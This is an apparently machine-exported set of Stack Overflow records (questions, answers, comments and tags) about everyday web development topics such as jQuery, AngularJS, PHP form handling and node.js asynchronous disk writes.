has text: Seems to me you are using the correct and recommended method. Async and Q are used for different things - while Q is used for promise interface, Async is used for flow control. There are ways to write it without async, but why would you want to do that?
score: 0
type: Comment

http://stackoverflow.com/comment/40029463
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25621665
has text: Thank you, but i'm in strict mode
score: 0

http://stackoverflow.com/comment/40160008
type: Comment
has text: I'm trying the above code...it still is registering black...and I think it's due to the fact I'm using the wrong return maybe? When I map to ordinal, it simply loops through the colors...and I want it to associate the colors with the first person in the data and 'fade' between them.
comment on: http://stackoverflow.com/a/25692566
score: 0
type: AnswerComment

http://stackoverflow.com/q/25564721
has title: get the text of div using angularjs
type: Question
has comment: http://stackoverflow.com/comment/39923418
has comment: http://stackoverflow.com/comment/39923543
tagged with: javascript
answer count: 3
downvote count: 0
favorite count: 0
tagged with: angularjs
upvote count: 2
has answer: http://stackoverflow.com/a/25660877
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25564789
has comment: http://stackoverflow.com/comment/39923345
has comment: http://stackoverflow.com/comment/39925618
score: 2
has comment: http://stackoverflow.com/comment/39924001
has comment: http://stackoverflow.com/comment/39923319
has comment: http://stackoverflow.com/comment/39923625
has body: i want to get the text of div using angularjs . I have this code Here where as my controller is something like this var myapp= angular.module("myapp",[]); myapp.controller("HelloController",function($scope,$http){ $scope.myform ={}; function update() { // If i have a textbox i can get its value from below alert alert($scope.myform.value); } }); Can anyone also recommand me any good link for angularjs . I dont find angularjs reference as a learning source .
has answer: http://stackoverflow.com/a/25578545

http://stackoverflow.com/comment/40000802
comment on: http://stackoverflow.com/a/25606207
has text: @SergeProfafilecebook It happens ... i ripped my hair out for hours :)
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40063448
has text: does "check_area" have a parent class(in the whole DOM) in the onclick selector list?
comment on: http://stackoverflow.com/q/25639587
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25666437
has answer: http://stackoverflow.com/a/25666517
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/25666517
tagged with: dom
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40109068
tagged with: javascript
has comment: http://stackoverflow.com/comment/40110305
has answer: http://stackoverflow.com/a/25666491
type: Question
has title: DOM Manipulation
possible better answer: http://stackoverflow.com/a/25666491
has body: Newbie question - Is this code eloquent enough to create four list items? or Should I be using documentFragment instead? The code seems to work fine - JsFiddle. Created list and li variables var list = document.getElementById("myList"); var li = null; Created x number of list elements and companion text nodes for(var i=1; i&lt;=4; i++){ var li = document.createElement("li"); li.appendChild(document.createTextNode("Number " + i)); Add li to list list.appendChild(li); }
has comment: http://stackoverflow.com/comment/40109062

http://stackoverflow.com/q/25705870
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25705938
has body: I created a JavaScript which inserted into the head tag of any web page that I handled, should take care to verify whether or not that page contains a form element and if so, give me back the value of the id and name parameter. //Check if page contain a form var elementF = document.getElementsByTagName('form'); var txt = ""; for (var i=0; i&lt;elementF.length; i++) { txt = txt + elementF.elements[i].value + "&lt;br&gt;"; } console.log("ElementF: "+txt); I tested the code both in pages conteining or not containing form elements, but the result is always the same: Uncaught TypeError: Cannot read property '0' of undefined How can I check if a form element is present or not??
possible better answer: http://stackoverflow.com/a/25705883
answer count: 4
accepted answer: http://stackoverflow.com/a/25705898
type: AnsweredQuestion
tagged with: forms
tagged with: dom
has answer: http://stackoverflow.com/a/25705898
type: Question
has answer: http://stackoverflow.com/a/25706061
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25705883
has title: JavaScript check if page contain a form
score: 0

http://stackoverflow.com/a/29975083
downvote count: 0
answers question: http://stackoverflow.com/q/25552305
score: 1
upvote count: 1
has body: I was having exactly the same issue. I was able to solve it by calling the following code on the client: Accounts.config({ forbidClientAccountCreation : true }); I am also using german localization, so my entire config.js looks like this: accountsUIBootstrap3.setLanguage("de"); Accounts.config({ forbidClientAccountCreation : true });
type: Answer

yammer
type: Tag
tags question: http://stackoverflow.com/q/25624398
tag name: yammer

http://stackoverflow.com/comment/40177083
comment on: http://stackoverflow.com/q/25703534
score: 0
has text: Did you change the reference to the scripts in the jsp pages? Was it working before your changes?
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40043096
comment on: http://stackoverflow.com/q/25628792
score: 0
has text: firstDay and lastDay were hardcoded at the beginning, thx for mentioning :)
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40036396
score: 3
type: Comment
type: QuestionComment
has text: The point of a challenge is to challenge *yourself*. It's not much of a challenge if you ask someone else for the answer.
comment on: http://stackoverflow.com/q/25625991

http://stackoverflow.com/comment/40168010
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25698387
has text: @HelpNeeder: yes in this example, if one selects "User" under User Roles, the "2013 Q4" option in Quarter, should be disabled. Thanks!
score: 0

http://stackoverflow.com/comment/40071992
has text: This does not fix it.
comment on: http://stackoverflow.com/a/25645835
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40123221
score: 0
has text: I got it, but how do I replace background-color or color?
comment on: http://stackoverflow.com/a/25674036
type: AnswerComment
type: Comment

elasticsearch
tags question: http://stackoverflow.com/q/25617744
type: Tag
tag name: elasticsearch
tags question: http://stackoverflow.com/q/25584348

http://stackoverflow.com/comment/39906641
has text: @PhilipWalton: I should edit my post. I'm using the term "holds everything" very loosely. It holds all the HTML tags that the user can interact with.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25553774

http://stackoverflow.com/comment/40039859
type: QuestionComment
comment on: http://stackoverflow.com/q/25627889
has text: I need an array for a combo box in extJS. ExtJS can only accept the data as an array.
score: 0
type: Comment

http://stackoverflow.com/comment/40039502
type: QuestionComment
type: Comment
has text: For what it's worth, assigning the variable without a `var` in front [actually does attach it to the window object](http://jsfiddle.net/890h84os/). Glad you found a solution.
comment on: http://stackoverflow.com/q/25558504
score: 0

http://stackoverflow.com/q/25666562
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/25666708
has body: hi I am trying to scale svg shape path by svgcanvas.attr("transform", "translate(" + w / 2 + "," + h / 2 + ")scale(" + k + ")translate(" + -x + "," + -y + ")"); but it scales all elements added on the svgcanvas(text and border) I need text and border are same as like previous
tagged with: javascript
score: 0
has title: how to prevent scaling of text and border while scaling path
answer count: 1
tagged with: jquery
tagged with: d3.js
has answer: http://stackoverflow.com/a/25666708

http://stackoverflow.com/a/34718847
answers question: http://stackoverflow.com/q/25678560
downvote count: 0
type: Answer
score: 13
has body: LOVE @Tanin's answer. solves so many problems at once and in a very elegant way. For those of you like me who don't know Coffeescript, here's the javascript... NOTE: For reasons I'm too new to understand, this code requires you to quote your template name once, rather than ng-include's requirement to twice-quote your template names, ie. &lt;div ng-include-template="template-name.html" ... &gt; instead of &lt;div ng-include-template="'template-name.html'" ... &gt; .directive('ngIncludeTemplate', function() { return { templateUrl: function(elem, attrs) { return attrs.ngIncludeTemplate; }, restrict: 'A', scope: { 'ngIncludeVariables': '&amp;' }, link: function(scope, elem, attrs) { var vars = scope.ngIncludeVariables(); Object.keys(vars).forEach(function(key) { scope[key] = vars[key]; }); } } })
upvote count: 13

http://stackoverflow.com/comment/40095262
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25658375
has text: Can you provide a plunker or fiddle to reproduce the problem?

http://stackoverflow.com/comment/39910941
has text: Thank you so so much, that's just what i needed for a start!
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/25558053
score: 0

http://stackoverflow.com/a/25619026
upvote count: 7
accepted answer of: http://stackoverflow.com/q/25617838
has comment: http://stackoverflow.com/comment/40024793
answers question: http://stackoverflow.com/q/25617838
type: AcceptedAnswer
downvote count: 0
has body: Seems like you want to post the whole form, including the input files generated dynamically. if so, then you will want to see into using array of input. When the form is sent (whether by basic or AJAX), the PHP script can read the input as an array <?php echo $_POST['name'][0]." "; echo $_POST['name'][1]." "; echo $_POST['name'][2]." "; ?> above script will output Dog Cat Snake This can be applied to all input. Does this help? Addition So in your case, you can do it like this: Pet # 1 Pet # 2 Pet # 3 To read the POST dynamically foreach($_POST["name"] as $key => $value) { echo $value; /*or if you want to loop while accessing other fields too, you can do this*/ echo " ".$_POST["name"][$key]; echo " ".$_POST["lastname"][$key]; /*this way you can access the other fields with the same as well, just make sure you do not mess with the input placement*/ }
has comment: http://stackoverflow.com/comment/40023479
type: Answer
score: 7

http://stackoverflow.com/comment/40059390
comment on: http://stackoverflow.com/q/25610312
has text: Yes, I agree with you for the security, but it's like the html form with login password, they don't exist anymore after validation.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40063892
type: Comment
comment on: http://stackoverflow.com/q/25641363
score: 0
type: QuestionComment
has text: Please, provide some of your html and php code.

http://stackoverflow.com/comment/40064706
comment on: http://stackoverflow.com/a/25641557
score: 0
type: AnswerComment
type: Comment
has text: this works different to document.write, yes? I have to add it to a form I think

http://stackoverflow.com/comment/40112708
type: AnswerComment
has text: Cool! That worked fine! But how to call ajax for a page refresh? Isn't that necessary for the changes to be displayed while on my site?
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25668306

http://stackoverflow.com/comment/39942170
type: QuestionComment
score: 1
has text: How much do you pay? Also looks like you misuse table element. It is purposed to show tabular data, not to create layouts.
comment on: http://stackoverflow.com/q/25574489
type: Comment

http://stackoverflow.com/comment/40132828
type: QuestionComment
comment on: http://stackoverflow.com/q/25679371
has text: No @ManirajSS I want it exactly how I've asked
score: 0
type: Comment

http://stackoverflow.com/q/25615923
type: UnansweredQuestion
tagged with: css
has comment: http://stackoverflow.com/comment/40017692
has title: multiple attr() only work partially in jquery
has comment: http://stackoverflow.com/comment/40017938
linked to: http://stackoverflow.com/q/2655925
has answer: http://stackoverflow.com/a/25615946
type: Question
has body: I want to do css !important so I use attr() like below. The problem is only the right work but not the top. At first I suspect in my other part of css there is an !important that override it, but there's none. $('#submitted').attr({'style':'top: 0 !important', 'style':'right: 0 !important'}); I also tried like this, same problem occur, only right work. why? $('#submitted').attr('style','top: 0 !important'); $('#submitted').attr('style','right: 0 !important');
has comment: http://stackoverflow.com/comment/40017759
tagged with: javascript
tagged with: jquery
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25615941

http://stackoverflow.com/comment/39919650
type: Comment
score: 1
type: AnswerComment
has text: I would upvote but i need 15 reputation apparently, and i only got 1, i will just mark the answer as correct if that is all i can do:)
comment on: http://stackoverflow.com/a/25558053

jquery-validate
tags question: http://stackoverflow.com/q/25687222
tags question: http://stackoverflow.com/q/25622551
tags question: http://stackoverflow.com/q/25662448
type: Tag
tag name: jquery-validate
tags question: http://stackoverflow.com/q/25703435
tags question: http://stackoverflow.com/q/25619381
tags question: http://stackoverflow.com/q/25656861
tags question: http://stackoverflow.com/q/25582077
tags question: http://stackoverflow.com/q/25653760

http://stackoverflow.com/comment/40107029
type: QuestionComment
has text: And how are you doing it in one controller?
type: Comment
comment on: http://stackoverflow.com/q/25665336
score: 0

http://stackoverflow.com/q/25596229
upvote count: 5
type: UnansweredQuestion
tagged with: php
has comment: http://stackoverflow.com/comment/39983606
has comment: http://stackoverflow.com/comment/39981800
has comment: http://stackoverflow.com/comment/39984516
has answer: http://stackoverflow.com/a/25596350
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/39981990
has answer: http://stackoverflow.com/a/25596359
has comment: http://stackoverflow.com/comment/39983131
tagged with: javascript
tagged with: jquery
has title: Best practice for using php file with AJAX
score: 4
has body: I'm beginning web development with php and am testing jQuery ajax calls to a php file to run functions. But I've noticed that the php file loads into the resources each time I call it with an AJAX POST method. What is the best solution to prevent this occurrence? Also, are there better coding practices to use when performing multiple function calls (what I'm used to calling web services or web methods in the c# world) from a single file in php? test.php &lt;?php if($_POST['action']=='test'){ $arr = array( 'stack'=&gt;'overflow', 'key'=&gt;'value' ); echo json_encode($arr); } ?&gt; scripts.js function postTest(){ var data = { action: 'test' }; $.ajax({ type: "POST", url: "test.php", dataType: 'json', data: data, success: function(result){ console.log(result) } }); } Update: I changed my code to use the data variable as an object in the ajax call. The original question still stands however. How do I use a function inside a php file without it being loaded into the site resources in the browser for each ajax call? Thank you.
favorite count: 0
tagged with: ajax
downvote count: 1

http://stackoverflow.com/comment/40041583
type: QuestionComment
comment on: http://stackoverflow.com/q/25628274
has text: Adding to `$.fn` is a very common practice, so the mere fact of extending jQuery in that way is unlikely to be your issue. I would focus efforts on investigation of how you're loading these extensions, to ensure that they are in fact being applied before you try to use them. Adding any interesting parts of that process to your question may be helpful, as what you've currently provided is not sufficient to provide much more help.
score: 0
type: Comment

http://stackoverflow.com/comment/40107517
comment on: http://stackoverflow.com/a/25665384
score: 0
type: Comment
has text: As stated in the comment it has nothing to do with the return false, it has to do with the function called.
type: AnswerComment

http://stackoverflow.com/a/25617186
type: Answer
has body: suppose bookedStatus is your parameter var url = "http://" + window.location.host + "/booking.aspx?bookedStatus="+bStatus; window.parent.open(url, "_blank"); window.location.host: This enables you to get the domain name or IP address of the current URL window.parent.open : this allows you to open the window in new tab
answers question: http://stackoverflow.com/q/25616925
score: 0
has comment: http://stackoverflow.com/comment/40020344

http://stackoverflow.com/comment/40108233
has text: I am mixing 2 projects, the other one needs a newer version, what can I do?
score: 0
comment on: http://stackoverflow.com/a/25665922
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25616791
answer count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/25616973
has title: How to generate dropdownlist items based on another dropdown item selection in javascript jquery?
upvote count: 0
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40019602
has comment: http://stackoverflow.com/comment/40019317
has body: I found similar questions here but those were server side code, whereas I wanted to do it using javascript & jquery. Below are the codes.. C# code to return data in JSON format public JsonResult GetEmployeesByDepartment(int departmentId) { var employees = new EmployeeInfoRepository().GetEmployeesByDepartmentId(departmentId); var employeeDictionary = new Dictionary<int, string>(); foreach (var emp in employees) { if(!employeeDictionary.ContainsKey(emp.EmployeeID)) { employeeDictionary.Add(emp.EmployeeID, emp.FullName); } } return Json(employeeDictionary, JsonRequestBehavior.AllowGet); } Javascript code for Binding Data into DropDownList $("#ddlDepartment").change(function () { var id = $("#ddlDepartment option:selected").val(); GetEmployeeByDepartmentId(id); }); function GetEmployeeByDepartmentId(id) { var postData = { departmentId: id }; $.ajax('/Leave/GetEmployeesByDepartment', { method: 'GET', dataType: 'JSON', data: postData, async: false, success: function (response) { $.each(response, function() { $("#ddlEmployee").append( $(' ', { value: this, html: this }) ); }); } }); } I also tried below inside the "Success" function, but this too doesn't work. if (response == false) { alert("No Employee found for this department"); } else { $("#ddlEmployee").html = ""; response.each(function(index, item) { $("#ddlEmployee").append(" item.Value "); }); } EDITED code as suggested C# code to return data in JSON format public JsonResult GetEmployeesByDepartment(int departmentId) { var employees = new EmployeeInfoRepository().GetEmployeesByDepartmentId(departmentId); return Json(employees, JsonRequestBehavior.AllowGet); } Javascript code (Success function only) if (response == null) { alert("No Employee found for this department"); } else { $.each(response, function () { var option = $(' '); option.val(response.EmployeeID); option.text(response.FullName); $("#ddlEmployee").append(option); }); } "Success" function is called and an array of object is returned. However, the data i…
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40019591
accepted answer: http://stackoverflow.com/a/25616973
has comment: http://stackoverflow.com/comment/40019398
favorite count: 0
has comment: http://stackoverflow.com/comment/40019510
type: Question
tagged with: razor
score: -1
tagged with: asp.net-mvc-3

http://stackoverflow.com/q/25588849
answer count: 2
accepted answer: http://stackoverflow.com/a/25588906
tagged with: javascript
favorite count: 0
has title: Chrome extension rich notifications not showing
has comment: http://stackoverflow.com/comment/39968327
tagged with: notifications
tagged with: google-chrome-extension
type: AnsweredQuestion
has body: In my code, I want to be able to create notifications, but the following code is not working. I can't seem to find a tutorial anywhere and the API is making no sense to me. Here is my code, I appreciate all help. Thanks! function notify(string) { chrome.notifications.create(string) } notify("Testing") In my manifest: "permissions": [ "unlimitedStorage", "tabs", "notifications"]
upvote count: 3
downvote count: 3
has answer: http://stackoverflow.com/a/25588906
type: Question
has answer: http://stackoverflow.com/a/60756916
possible better answer: http://stackoverflow.com/a/60756916
score: 0

http://stackoverflow.com/comment/39979091
type: Comment
comment on: http://stackoverflow.com/a/25594616
type: AnswerComment
has text: Maybe "checked" would be a better word? Don't get me wrong, I'm one of the +1s for the answer, I just wonder if we can make that one part clearer.
score: 0

wikipedia-api
tag name: wikipedia-api
type: Tag
tags question: http://stackoverflow.com/q/25595579
tags question: http://stackoverflow.com/q/25705495

http://stackoverflow.com/a/25697889
answers question: http://stackoverflow.com/q/25680865
has body: Angular Google Chart can do this. bower install angular-google-chart --save, then add googlechart to the app module dependencies. angular.module('app', ['googlechart']) .controller('ctrl', function($scope) { var chart1 = {}; chart1.type = "GeoChart"; chart1.data = [ ['Locale', 'Count', 'Percent'], ['Germany', 22, 23], ['United States', 34, 11], ['Brazil', 42, 11], ['Canada', 57, 32], ['France', 6, 9], ['RU', 72, 3] ]; chart1.options = { width: 600, height: 300, chartArea: {left:10,top:10,bottom:0,height:"100%"}, colorAxis: {colors: ['#aec7e8', '#1f77b4']}, displayMode: 'regions' }; chart1.formatters = { number : [{ columnNum: 1, pattern: "$ #,##0.00" }] }; $scope.chart = chart1; }); http://jsbin.com/wiguxu/edit?html,js,output
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25680865
type: Answer
has comment: http://stackoverflow.com/comment/91949700
score: 13
upvote count: 13

http://stackoverflow.com/a/25600728
type: Answer
has body: $(function() { $( "#datepicker" ).datepicker({ showOtherMonths: true, selectOtherMonths: true, changeMonth: true, }); }); http://jsfiddle.net/u2n3nnts/ If you are using another JavaScript library alongside jQuery. Your code should be in between the noConflict area: jQuery.noConflict(); (function( $ ) { $( "#moviedate" ).datepicker({ showOtherMonths: true, selectOtherMonths: true, changeMonth: true, }); })(jQuery);
has comment: http://stackoverflow.com/comment/39998166
has comment: http://stackoverflow.com/comment/40027284
score: 0
answers question: http://stackoverflow.com/q/25599914

http://stackoverflow.com/comment/40082484
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25651559
score: 5
has text: If you are using jQuery, please [**read the tutorial** about event handling first](http://learn.jquery.com/events/event-basics/). This is not the correct way of binding an event handler to a jQuery object (DOM elements have an `onclick` property, jQuery objects don't). The tutorial explains how to do that.

http://stackoverflow.com/q/25578018
has answer: http://stackoverflow.com/a/25578077
tagged with: javascript
has body: What is the difference between the following 2 Javascripts? I can use the second form of Javascript in Razor engine MVC pages without any issues, so what is the benefit of using the first form? MVC style @section Scripts { function check() { //do some validation logic here } } WebForms style &lt;script type="text/javascript"&gt; function check() { //do some validation logic here } &lt;/script&gt;
answer count: 3
downvote count: 0
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25578077
possible better answer: http://stackoverflow.com/a/25578085
has answer: http://stackoverflow.com/a/25578095
has answer: http://stackoverflow.com/a/25578085
tagged with: asp.net-mvc-4
type: AnsweredQuestion
has title: Difference between @section Scripts and the usual script tag used in ASP.Net WebForm
upvote count: 1
type: Question

http://stackoverflow.com/q/25695369
tagged with: http://stackoverflow.com/tag/html
has body: I apologize that I cannot post actual code or a live working example. This problem requires an iframe so I cant just slap a fiddle together and the server this is deployed on is inaccessible from the net. Hopefully these snippets I will post are adequate for reproduction. I have a page that needs to display another page in an iframe (I have no control over this) and the iframe should be sized according to the height of its content page which changes as the user interacts with it in various ways; the resizing is always due to hiding/showing elements, however, if that makes any difference. This resize behavior works fine (in all browsers) with the exception of when the iframe wrapper is hidden initially. In this case the iframe is being sized to the size of what the target page would be if the iframe page elements were all visible in Chrome (so gigantic...), or invisible (0 height) in FF. There are no JS errors in console and both pages have no problem accessing each other in other ways (document.domain is set). The page is XHTML Transitional, but I should be able to change this if it makes a difference. iframe HTML: &lt;div id="frame-wrapper" style="display: none"&gt; &lt;iframe src="some_page_that_shrinks_after_dom_load.html" frameborder="0" scrolling="no" onload="javascript:frameLoaded(this);"&gt;&lt;/iframe&gt; &lt;/div&gt; and the JS: function frameLoaded(iframe) { function resizeIframe() { iframe.style.height = iframe.contentWindow.document.documentElement.scrollHeight + 'px'; alert(iframe.style.height); } // ... // set up some callbacks in the iframe to resizeIframe() which do work and give correct size, probably because the wrapper is unhidden // ... // this call for the size at the time of load is what is broken iff "frame-wrapper" is display: none resizeIframe(); // the hack im using to avoid this: $('#frame-wrapper').show(); resizeIframe(); $('#frame-wrapper').hide(); } As you can see I already know how to hack around the problem. What I would really like i…
has title: iframe wrapped in a hidden element incorrect scrollHeight
answer count: 0
type: UnansweredQuestion
tagged with: iframe
upvote count: 1
score: 1
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/40220215
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40220374
has comment: http://stackoverflow.com/comment/40162639

http://stackoverflow.com/q/25695633
has comment: http://stackoverflow.com/comment/40163137
has comment: http://stackoverflow.com/comment/40171256
has comment: http://stackoverflow.com/comment/40174027
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25697180
has comment: http://stackoverflow.com/comment/40163106
score: 13
has comment: http://stackoverflow.com/comment/40163218
answer count: 2
tagged with: raspberry-pi
downvote count: 0
tagged with: asynchronous
has comment: http://stackoverflow.com/comment/40163048
favorite count: 0
has answer: http://stackoverflow.com/a/25700046
tagged with: promise
has comment: http://stackoverflow.com/comment/40164144
has comment: http://stackoverflow.com/comment/40165014
linked to: http://stackoverflow.com/q/14795145
possible better answer: http://stackoverflow.com/a/25700046
tagged with: node.js
upvote count: 13
type: AnsweredQuestion
has body: I am new to developing in node.js (though relatively experienced at client-side javascript) and I'm running into lots of questions about good practices when dealing with asynchronous operations in node.js. My specific issue (though I imagine this is a fairly general purpose topic) is that I have a node.js app (running on a Raspberry Pi) that is recording the readings from several temperature probes every 10 seconds to an in memory data structure. This works just fine. The data accumulates over time in memory and, as it accumulates and reaches a particular size threshold, the data is regularly aged (keeping only the last N days of data) to keep it from growing beyond a certain size. This temperature data is used to control some other appliances. Then, I have a separate interval timer that writes this data out to disk every so often (to persist it if the process crashes). I'm using async node.js (fs.open(), fs.write() and fs.close()) disk IO to write the data out to disk. And, because of the async nature of the disk IO, it occurs to me that the very data structure I'm trying to write to disk may get modified right in the middle of me writing it out to disk. That would potentially be a bad thing. If data is only appended to the data structure while writing out to disk, that won't actually cause a problem with the way I'm writing the data, but there are some circumstances where earlier data can be modified as new data is being recorded and that would really mess with the integrity of what I'm in the middle of writing to disk. I can think of all sorts of somewhat ugly safeguards I could put in my code such as: Switch to synchronous IO to write the data to disk (don't really want to do that for server responsiveness reasons). Set a flag when I started writing data and don't record any new data while that flag is set (causes me to lose the recording of data during the write). More complicated versions of option 2 where I set the flag and when the flag is set, new data goes…
has comment: http://stackoverflow.com/comment/40163240
has comment: http://stackoverflow.com/comment/40164035
has title: How to write a live data set to disk with async I/O?
type: Question
has answer: http://stackoverflow.com/a/25697180

http://stackoverflow.com/a/25605169
downvote count: 0
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/109331024
has body: The "async" library helps you here as you need to understand "callbacks" in asynchronous code and the main thing this helps you with is "code creep" by removing the need to "indent" each "next" call in code. In fact you can do these in "parallel" rather than "series" for a reasonable amount of operations. We just need to "wait" for each to complete, which is what a "callback" is for. It "calls back" to invoke the "next action" when the operation is complete: var MongoClient = require('mongodb').MongoClient, async = require('async'); var dbName = "tst1"; var port = "27017"; var requiredCollection = "stocks" var host = "localhost"; // open the connection the DB server MongoClient.connect("mongodb://" + host + ":" + port + "/" + dbName, function (error, db){ console.log("Connection is opened to : " + "mongodb://" + host + ":" + port + "/" + dbName); if(error) throw error; async.parallel( [ function(callback) { var ibm = {'_id' : 1, 'value' : 1, 'ticker' : 'IBM'}; db.collection(requiredCollection).insert(ibm, function(error, inserted) { if(error) { console.error(error); callback(error); } else { console.log("Successfully inserted: " , inserted ); callback(); } }); // end of insert }, function(callback) { var apple = {'_id' : 2, 'vlue' : 1, 'ticker' : 'AAPL'}; db.collection(requiredCollection).insert(apple, function(error, inserted) { if(error) { console.error(error); callback(error); } else { console.log("Successfully inserted: " , inserted ); callback(); } }); // end of insert }, function(callback) { var intel = {'_id' : 3, 'value' : 1, 'ticker' : 'INTC'}; db.collection(requiredCollection).insert(intel, function(error, inserted) { if(error) { console.error(error) callback(error); } else { console.log("Successfully inserted: " , inserted ); callback(); } }); // end of insert }, function(callback) { var f5 = {'_id' : 4, 'value' : 1, 'ticker' : 'FFIV'}; db.collection(requiredCollection).insert(f5, function(error, inserted) { if(error) { console.error(error); callback(erro…
upvote count: 1
answers question: http://stackoverflow.com/q/25604276

http://stackoverflow.com/a/25629106
has comment: http://stackoverflow.com/comment/40042779
has comment: http://stackoverflow.com/comment/40042532
accepted answer of: http://stackoverflow.com/q/25629012
has body: Javascript is 100 faster than Classical C in simple for loop test, why? Because C does not have strings in the same sense javascript has. To make the test more fair, do these changes: Outside the loop add char *strptr; strptr = str; and replace the loop with for (i = 0; i &lt; max; i++) { strptr += sprintf(strptr, "=%d", i); } Of course now, after these changes, the javascript version may be doing more work than the C version. C has no buffer overflow checks. The javascript version, apparently, is checking the size of the string and expanding it when needed.
upvote count: 2
has comment: http://stackoverflow.com/comment/40043240
answers question: http://stackoverflow.com/q/25629012
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40042500
has comment: http://stackoverflow.com/comment/40043021
has comment: http://stackoverflow.com/comment/40042459
has comment: http://stackoverflow.com/comment/40042302
type: Answer
has comment: http://stackoverflow.com/comment/40042267
score: 2
has comment: http://stackoverflow.com/comment/40042485
has comment: http://stackoverflow.com/comment/40042393
has comment: http://stackoverflow.com/comment/40042570
downvote count: 0
has comment: http://stackoverflow.com/comment/40042703
has comment: http://stackoverflow.com/comment/40042011

http://stackoverflow.com/comment/40061360
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25638863
has text: @LearnCocos2D That is the current behavior if keeping the up button pressed (and such an approach would indeed replicate it for a single press within a small margin of error), but my goal is to actually allow the player to "cheat/game" the system by a few pixels. In my current game the player bounces a tiny bit (and falls slower) than in the linked example.

http://stackoverflow.com/comment/40027996
type: Comment
has text: One more request - how do I convert this to a word counter rather than just a character counter? Is that simple?
comment on: http://stackoverflow.com/a/25620582
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40054014
has text: @geocodezip I want a list of address of any kind (including houses), not just restaurants
comment on: http://stackoverflow.com/q/25635075
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25648057
upvote count: 3
has body: Reading the documentation on their homepage, you need to set two options in your configuration: autoProcessQueue: true parallelUploads: 1
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25646800
answers question: http://stackoverflow.com/q/25646800
score: 3
downvote count: 0

http://stackoverflow.com/comment/40008914
type: QuestionComment
has text: as its a trick... is it frowned upon? Its a nice trick, do you know if its compatible with IE, Moz etc?
comment on: http://stackoverflow.com/q/25591099
score: 0
type: Comment

http://stackoverflow.com/comment/39902102
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/25553334
has text: Absolutely! For future reference, VS 2013 has an "Edit and Continue" feature that will stop it from running when you kill the project, but also allows you edit code while running.

http://stackoverflow.com/a/25643477
has body: Take a look here: http://www.ecma-international.org/ecma-262/5.1/#sec-12.5 then here: http://www.ecma-international.org/ecma-262/5.1/#sec-11 And conclude that the syntax isn't valid because of: http://www.ecma-international.org/ecma-262/5.1/#sec-12.2 in relation (or rather lack thereof) to the above.
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25643305
answers question: http://stackoverflow.com/q/25643305
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 1

http://stackoverflow.com/q/25628892
has body: I hope the title of this question makes sense. What i need is a way of storing a reference to a object in a controller and access it in another one. For example, i have a AppCtrl where i initiate firebase: .controller('AppCtrl', function ($scope, $ionicModal, $timeout, $firebase) { var ref = new Firebase("https://test.firebaseio.com/"); var sync = $firebase(ref); $scope.db = sync.$asObject(); var authClient = new FirebaseSimpleLogin(ref, function(error, user) { if (error) { } else if (user) { console.log(user); } else { // user is logged out } }); ... In another controller i want to do authClient.logout() but authClient is not available: .controller('LogoutCtrl', function ($scope, $stateParams, $firebase) { authClient.logout(); }) Is there a way to access authClient in the second controller without the need to instantiating FirebaseSimpleLogin, like grabbing it from a global var? I'm not sure what is the best approach, maybe is a good idea to instantiate it again.. I'm using firebase as an example here, but this could be any other class any ideas?
type: Question
tagged with: javascript
has title: how to store a reference to a object or a global object with angular?
upvote count: 2
downvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/25628940
accepted answer: http://stackoverflow.com/a/25628940
favorite count: 0
has comment: http://stackoverflow.com/comment/40041694
tagged with: angularjs
tagged with: firebase
score: 2
type: AnsweredQuestion
tagged with: angularjs-scope
tagged with: ionic-framework

http://stackoverflow.com/q/25668780
tagged with: forms
has comment: http://stackoverflow.com/comment/40114414
type: Question
tagged with: javascript
tagged with: jquery
has title: jQuery issues on testing form elements values
score: 0
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40114805
answer count: 0
type: UnansweredQuestion
